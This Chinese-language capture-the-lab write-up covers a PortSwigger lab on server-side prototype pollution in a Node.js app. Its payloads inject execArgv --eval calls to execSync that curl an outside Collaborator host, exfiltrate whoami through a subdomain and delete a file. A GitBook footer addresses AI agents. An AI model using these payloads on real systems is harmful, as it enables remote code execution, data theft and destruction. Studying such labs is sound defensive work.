> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).
# 通过服务器端原型污染实现远程代码执行
通过服务器端原型污染实现远程代码执行，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下
### 通过服务器端原型污染实现远程代码执行
#### 实验环境
* 基于……的应用 **Node.js** 以及框架 **Express**.
* 漏洞： **服务器端原型污染** 因为应用会将用户控制的输入不安全地合并到一个 JavaScript 服务器端对象中。
* 目标：污染 `Object.prototype` 以注入系统命令，随后这些命令会由服务器执行，然后 **删除** `/home/carlos/morale.txt`.
* 提供的连接： `wiener:peter` （在这个实验中我们已经拥有高权限并可访问管理员功能）。
#### 易受攻击的入口点：地址更新
更新地址功能接受一个 JSON。/ 它可以通过以下方式包含污染： `constructor.prototype` （融合有害的证明）：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
"constructor": {
"prototype": {
"test": "false",
"json spaces": 1
}
}
}
```
#### 功能
作为管理员，一个 **运行维护任务** 按钮可见。
当你点击时，应用会执行任务（例如清理）并显示：
* 数据库清理 → 成功
* 文件系统清理 → 成功
客户端发送类似的 JSON：
```json
{
"csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
"sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
"tasks": [
"db-cleanup",
"fs-cleanup"
]
}
```
而服务器返回：
```json
{
"results": [
{
"name": "db-cleanup",
"description": "Database cleanup",
"success": true
},
{
"name": "fs-cleanup",
"description": "Filesystem cleanup",
"success": true
}
]
}
```
关键观察：在后台，看起来一个 Node.js 进程通过一个 **子/进程** 机制启动这些任务。
#### 利用：通过以下方式注入 Node 参数 `execArgv`
在 Node.js 中，某些执行可以通过 `execArgv`。/ 思路：污染 `Object.prototype.execArgv` 来注入 `--eval=...` ，通过 `child_process.execSync`.
```javascript
--eval=require('child_process').execSync('id')
```
使用的载荷（通过 `curl`):
```json
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
]
}
```
然后我们触发 **运行维护任务** 以强制应用启动会重用 `execArgv`.
我们的确在 Collaborator 上收到了请求 → 执行已确认。
#### 上下文验证：Exfilter `whoami`
你可以通过动态子域名外带用户：
{% code overflow="wrap" %}
```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```
{% endcode %}
接收： `carlos`
#### 最后一步：删除请求的文件
清理污染载荷通过删除命令发送：
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
"__proto__": {
"execArgv": [
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
}
```
然后我们重启 **维护任务** 以触发执行。
预期结果： `/home/carlos/morale.txt` 文件已删除，实验已通过。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
